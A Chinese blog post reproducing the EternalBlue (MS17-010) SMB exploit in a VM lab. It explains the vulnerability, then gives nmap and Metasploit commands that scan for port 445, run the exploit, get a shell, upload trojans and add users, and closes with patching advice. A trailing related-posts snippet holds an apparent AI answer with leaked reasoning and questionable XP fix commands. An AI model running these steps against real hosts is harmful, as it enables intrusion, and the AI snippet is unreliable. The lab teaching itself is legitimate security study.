【MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6】

已于 2022-09-01 19:12:25 修改
阅读量1.4k 收藏 2
点赞数
分类专栏： 漏洞复现 文章标签： 网络 服务器 运维 网络安全
于 2022-08-31 15:29:41 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Shadow_DAI_990101/article/details/126624765
版权

MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6

文章目录

1. 概述

永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复

在这里插入图片描述

1.1 SMB

What is SMB?

SMB(Server Message Block)是一个协议服务器信息块，它是一种客户机/服务器、请求/响应协议，通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源，电脑上的网上邻居就是靠SMB实现的；SMB协议工作在应用层和会话层，可以用在TCP/IP协议之上，SMB使用TCP139端口和TCP445端口,SMB使用了NetBIOS的API。

SMB工作原理是什么？

  1. 首先客户端发送一个SMB negport 请求数据报，，并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求，并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH，结束通信。

  2. 协议确定后，客户端进程向服务器发起一个用户或共享的认证，这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器，然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

  3. 当客户端和服务器完成了磋商和认证之后，它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称，之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

  4. 连接到相应资源后，SMB客户端就能够通过open SMB打开一个文件，通过read SMB读取文件，通过write SMB写入文件，通过close SMB关闭文件。

1.2 漏洞分析

恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时，在大非分页池(内核的数据结构，Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作：

  1. srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小

  2. 因为错误的使用WORD强制类型转换，导致计算出来的待转换的FEA list的大小比真正的FEA list大

  3. 因为原先的总大小计算错误，导致当FEA list被转化为NTFEA list时，会在非分页池导致缓冲区溢出

在这里插入图片描述

1.3 风险等级

评定方式等级
CVSS Score9.3
Confidentiality ImpactComplete
Integrity ImpactComplete
Availability ImpactComplete
实现难度中等
基础权限不需要
漏洞类型缓存区溢出

在这里插入图片描述

1.4 影响范围

Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

由于此次泄露的漏洞覆盖了大部分常见的 Windows 版本(包括微软不再提供更新服务的 Windows XP 和 Windows Server 2003)，网络空间中仍然存在大量可被入侵的设备。

1.5 影响危害

勒索软件不仅针对家庭用户,企业也在感染勒索软件之列:

  • 临时或永久行丢失敏感&专有信息
  • 中断正常运营
  • 恢复系统和文件所造成的经济损失
  • 对组织声誉的潜在损害

支付赎金并不能保证加密文件会被释放；它只保证黑客收到受害者的钱和他们的银行信息。此外，解密文件并不意味着恶意软件感染本身已被删除。

2. 环境配置

2.1 配置靶机

本次漏洞复现将采用在VMware中安装虚拟机的方法

从这里下载 Window 7 的镜像文件，建议中文版和英文多选几个都试试，选2009的版本一般都能成功，但不带sp1/2/3的一般要手动安装vmtool，不过在本次漏洞复现中不用在意这些细节。

2.2 访问测试

一般都需要关闭防火墙

在这里插入图片描述

3. 漏洞复现

3.1 主机与端口发现

方法一：使用nmap

  1. 快速扫描发现445端口open

    nmap -sS -T5 ip

    在这里插入图片描述

  2. 使用vuln脚本扫描确认漏洞存在

    nmap -sV --script=vuln -p 445 ip

    在这里插入图片描述

方法二：使用msf中的auxiliary/scanner模块

  1. 搜索相关漏洞模块

    search ms17_010

  2. 选着3：扫描模块

    1. 注：此模块支持网络断扫描，比如在公司的局域网下扫描公司全网段的192.168.5.0/24，此模块会自动检索存在此漏洞的主机

    在这里插入图片描述

3.2 漏洞利用

  1. 在Kali中打开msf msfconsole

  2. 搜索相关漏洞模块

    search ms17_010

  3. 选择利用模块

    use 0

    在这里插入图片描述

  4. 设置相应选项，这里只需设置目标ip即可，其他默认,并运行

    set rhosts ip

    run

    在这里插入图片描述

  5. 成功连接靶机，尝试掉出靶机信息，并截图；也可以尝试其他操作

    在这里插入图片描述

  6. Getshell,可以上传文件，木马，也可以添加用户，至此完成对靶机的控制

    在这里插入图片描述

4. 修复建议

  1. 安装微软官方补丁(MS17-010),如果无法应用补丁，请考虑：

    1. 禁用 SMBv1
    2. 通过边界设备关闭UDP端口137-138，TCP端口139，TCP端口445，在网络边界设备设置阻止所有版本的SMB

    注：禁用或阻止SMB 可能会阻碍对共享文件、数据或设备的访问，从而产生问题。

  2. 启用垃圾邮件过滤器以防止网络钓鱼电子邮件送达至最终用户，使用发件人策略框架 (SPF)、域消息身份验证报告和一致性(DMARC) 和域密钥识别邮件 (DKIM) 等技术对入站电子邮件进行身份验证以防止电子邮件欺骗

  3. 管理特权帐户的使用。实施最小特权原则。除非绝对需要，否则不应为用户分配管理访问权限。那些需要管理员帐户的人应该只在必要时使用它们

  4. 以最低权限配置访问控制，包括文件、目录和网络共享权限。如果用户只需要读取特定文件，则他们不应拥有对这些文件、目录或共享的写入权限

  5. 禁用通过电子邮件传输的 Microsoft Office 文件中的宏脚本。考虑使用 Office Viewer 软件打开通过电子邮件而不是完整的 Office 套件应用程序传输的 Microsoft Office 文件

  6. 确保定时对相关设备进行适当的备份

5. 总结

防御一般勒索软件威胁措施：

  • 确保防病毒软件是最新的。
  • 实施数据备份和恢复计划，将敏感或专有数据的副本保存在单独且安全的位置。敏感数据的备份副本不应容易从本地网络访问。
    仔细检查电子邮件中包含的链接，不要打开未经请求的电子邮件中包含的附件​​。
  • 仅从您了解和信任的网站下载软件，尤其是免费软件。
  • 为您的操作系统和 Web 浏览器启用自动补丁。
  • 一旦中招及时报警(doge…

在这里插入图片描述

6. References

BBC News (2017) ‘NSA malware’ released by Shadow Brokers hacker group. April 10, 2017.

CISA (2018) Indicators Associated With WannaCry Ransomware Available at: https://www.cisa.gov/uscert/ncas/alerts/TA17-132A (Accessed at: 29 Aug 2022).

CVE Details (2018) CVE-2017-0146. Available at: https://www.cvedetails.com/cve/CVE-2017-0146/…(Accessed: 29 Aug 2022).

maybezyy. (2018) ‘【漏洞分析】MS17-010：深入分析“永恒之蓝”漏洞’, CSDN, 03 Oct. Available at: https://blog.csdn.net/luoshenwei3533/article/details/…(Accessed: 29 Aug 2022).

Windows - SMB 远程代码执行漏洞（永恒之蓝） - CVE-2017-0146 & MS17-010
Blue17 の 小窝
03-22 1105
永恒之蓝漏洞（MS 17-010、
网络安全工具系列：网络安全-MS17-010漏洞-永恒之蓝复现以及渗透流程
weixin_54626591的博客
08-05 356
网络安全-MS17-010漏洞-永恒之蓝复现以及渗透流程
利用ms17-010实现系统入侵
2301_77361520的博客
10-11 95
【代码】利用ms17-010实现系统入侵。
SMB MS17-010 利用（CVE-2017-0144 ）
weixin_30408309的博客
08-10 982
exploit-db :https://www.exploit-db.com/exploits/42315/ 该漏洞的影响版本很广泛：Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) 具体请查看公告：Microsoft 安全公...
渗透测试+MS17-010，CVE-2017 0143/0144/0145/0146/0147/0148（永恒之蓝）漏洞复现
lovingMeng的博客
03-16 693
通过kali对windows系统进行渗透测试
ms17-010
qq_54735393的博客
11-02 427
EhernalBlue通过Tcp端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只需要开机上网，攻击者就能在电脑和服务器中植入勒索软件。
漏洞复现_CVE-2017-0144 “永恒之蓝”漏洞
qq_51550750的博客
06-02 3495
漏洞复现_CVE-2017-0144“永恒之蓝”漏洞
永恒之蓝漏洞（CVE-2017-0144）复现
LRainner的博客
03-04 4700
永恒之蓝漏洞（CVE-2017-0144）复现 环境搭建 一台kali攻击机 一台windows7靶机 信息收集 ifconfig 查看kali的ip地址为192.168.125.25 使用nmap扫描192.168.125.0网段下存活的主机 nmap 192.168.125.25/24 判断靶机ip地址为192.168.125.151 nmap -O 192.168.125.151 判断靶机为Windows 7|2008|8.1 使用永恒之蓝进行攻击 msfconsole进入metasploit控
通过Metasploit实现MS17-010（永恒之蓝漏洞）的复现学习
Time_worm的博客
07-14 1301
永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。
2024年[永恒之蓝]实战-漏洞复现_永恒之蓝漏洞复现实验(1)，2024年最新网络安全中高级面试必知必会
m0_60691292的博客
05-05 800
在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；8、显示meterpreter，我们已经所渗透成功了，现在我们已经拿到目标机的Shell了。3、我们在第二步的时候使用的是auxiliary模块进行的漏洞检测，这回我们使用exploit模块进行漏洞利用。
【漏洞复现】永恒之蓝 MS17-010 远程溢出漏洞(CVE-2017-0143)
李火火的安全圈
03-07 8968
文章目录声明前言一、漏洞原理简述二、漏洞代码深层解析三、实验步骤四、漏洞补丁总结 声明 本篇文章仅用于技术研究与技术学习，切勿用于非授权下攻击行为，切记！ 前言 Windows7 存在 MS17-010 永恒之蓝(远程溢出漏洞) ，该漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码 一、漏洞原理简述 MS17-010漏洞出现在Windows SMB v1中的内核态函数 srv!SrvOs2FeaListToNt 在处理FEA(File Ex
MS17-010 补丁
05-15
此安全更新程序修复了 Microsoft Windows 中的多个漏洞。如果攻击者向 Windows SMBv1 服务器发送特殊设计的消息，那么其中最严重的漏洞可能允许远程执行代码。 对于 Microsoft Windows 的所有受支持版本，此安全更新的等级为“严重”。有关详细信息，请参阅受影响的软件和漏洞严重等级部分。 此安全更新可通过更正 SMBv1 处理经特殊设计的请求的方式来修复这些漏洞。 有关这些漏洞的详细信息，请参阅漏洞信息部分。 有关此更新的更多信息，请参阅 Microsoft 知识库文章 4013389。
永恒之蓝 MS17-010
weixin_43726831的博客
11-19 874
WIN7系统永恒之蓝漏洞-打开摄像头、录音、视频监控、截屏 前章： 安全漏洞的分析与利用 PTES渗透测试执行标准 1.简介 永恒之蓝：是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国...
CVE-2017-0144 （Windows server 2008系列缓冲区溢出漏洞）
Fly_鹏程万里
03-15 8735
漏洞原理srv.sys在处理SrvOs2FeaListSizeToNt的时候逻辑不正确导致越界拷贝。我们首先看下漏洞的触发点：unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2) {   int v4; // edi@1   _BYTE *v5; // edi@1   unsigned int result; // eax@1   v4 = a...
Metasploitable渗透测试实战：ms17-010
weixin_68951704的博客
05-05 3095
漏洞简介： 永恒之蓝（即ms17-010）是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。 Windows操作系统的SMBv1协议中存在安全漏洞。攻击者会扫描开放445文件
ms17-010（永恒之蓝）搭建、攻击、打补丁
weixin_51387754的博客
05-31 3915
前言 写文目的：被问到ms17_010（永恒之蓝漏洞怎么修补）？ 那么作为网络安全的工作者，胜负欲于是就来了 WIN7虚拟机搭建 我所使用的虚拟机 ed2k://|file|cn_windows_7_ultimate_x64_dvd_x15-66043.iso|3341268992|7DD7FA757CE6D2DB78B6901F81A6907A|/ KALI虚拟机搭建 我所使用的虚拟机 以上两种可在官网自行下载，也可自行复制链接到迅雷进行下载 攻击过程 kali 192.168.80.129 win71
永恒之蓝(MS17-010)
人们并不感谢罗辑
08-06 1513
SMB协议SMB是一个协议服务器信息块，它是一个客户机/服务器，请求/响应协议，通过SMB协议可以在计算机间共享文件，命名管道等资源，电脑上网上邻居就是靠SMB实现的；
永恒之蓝（ms-17-010）
尘玥的故事
07-18 737
2.saerch ms17-010 #命令搜索漏洞编号ms17-010相关模块。来到这个页面后的第一部是按键盘上的“i”键，左下角出现“插入”后说明操作正确。从下面的源内选择一个复制下来准备粘贴进去（都是优质源，复制哪个都可以）。尝试运行一个：screenshare—实时监控当前主机界面。换源vim /etc/apt/sources.list。-P：指定端口扫描（0-65535为全端口）使用“#”将原本的源给注释掉。-sC：使用内置脚本进行扫描。-sT：TCP全连接扫描。-sV：识别服务版本。
xp永恒之蓝
最新发布
03-24
<think>好的，我现在需要处理用户关于Windows XP系统永恒之蓝漏洞修复方案的查询。首先，我得回忆一下永恒之蓝漏洞的基本情况。这个漏洞影响的是Windows的SMB协议，特别是MS17-010这个补丁编号。用户提到的是Windows XP，但微软对XP的支持已经结束，常规情况下可能不会提供补丁了，不过我记得微软当时可能为一些旧系统发布了特别补丁。 接下来，我需要参考用户提供的引用内容。引用[1]提到了使用exploit/windows/smb/ms17_010_eternalblue模块进行复现，说明漏洞利用工具确实存在。引用[2]强调及时更新系统和加强网络防护的重要性。引用[3]提到XP和2003系统使用360的免疫工具，这可能是一个解决方案。引用[4]提到CVE-2019-0708的修复方法，但这里用户问的是永恒之蓝，所以需要区分开。 用户需要的是针对XP的修复方案。常规的微软补丁可能不适用于XP，因为支持已经终止，但根据引用[3]，微软确实为一些旧系统发布了特别补丁。我需要确认这个信息是否正确。另外，引用[3]提到的360免疫工具也是一个关键点，应该包含在解决方案中。 还需要考虑其他措施，比如关闭SMB服务、使用防火墙阻止445端口，这些是通用的缓解措施，无论系统是否支持都应建议。此外，网络分段和入侵检测系统（IDS）的部署也是推荐的防御手段。 然后，我需要整理这些信息，分步骤回答用户的问题。首先明确微软的官方补丁，然后是第三方工具如360的解决方案，接着是通用的防护措施，最后是替代方案建议。同时，要指出XP的官方支持已经结束，建议升级系统以彻底解决问题。 最后，生成相关问题，确保问题与主题相关，帮助用户进一步了解漏洞的防护和应用场景。需要检查是否符合格式要求，比如数学公式的正确使用，不过在这个问题中可能涉及较少，但要注意中英文标点和引用标识的位置。</think>### Windows XP永恒之蓝漏洞修复方案 永恒之蓝（EternalBlue）漏洞（CVE-2017-0144）是针对Windows SMB协议的高危漏洞，攻击者可远程执行任意代码。**Windows XP系统虽已停止官方支持，但仍可采取以下修复措施**： --- #### 1. 安装微软官方特别补丁 微软在漏洞爆发后为部分终止支持的系统发布了**紧急补丁**。Windows XP用户需手动下载并安装以下补丁： - **KB4012598**：适用于Windows XP SP3 - **KB4012583**：适用于Windows Embedded POSReady 2009（兼容部分XP系统） > **操作步骤**： > - 访问[微软更新目录](https://www.catalog.update.microsoft.com/)，搜索补丁编号 > - 下载对应系统版本的补丁文件（.exe格式）并安装[^1][^2] --- #### 2. 使用第三方免疫工具 若无法安装补丁，可通过**360 NSA武器库免疫工具**进行防护： ```bash # 下载工具后执行扫描（需管理员权限） 360nsatool.exe --scan 360nsatool.exe --immunize ``` 该工具通过关闭漏洞相关端口和服务实现免疫[^3][^4]。 --- #### 3. 手动关闭漏洞相关服务 通过系统配置禁用SMBv1协议并关闭445端口： 1. **禁用SMBv1**： - 打开注册表编辑器（`regedit`） - 定位到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters` - 新建DWORD值`SMB1`，设置为`0` 2. **防火墙封锁445端口**： ```bash netsh advfirewall firewall add rule name="Block SMB445" dir=in action=block protocol=TCP localport=445 ``` --- #### 4. 网络层防护 - 在路由器或防火墙上**禁止445端口的入站/出站连接** - 部署入侵检测系统（IDS）监控异常SMB流量 - 划分网络区域，隔离老旧系统[^2] --- #### 替代方案建议 由于Windows XP已无安全更新，**强烈建议升级至Windows 10/11或迁移至Linux发行版**（如Lubuntu）。若必须使用XP： - 仅在内网环境运行 - 禁用所有非必要服务 - 定期进行漏洞扫描 ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值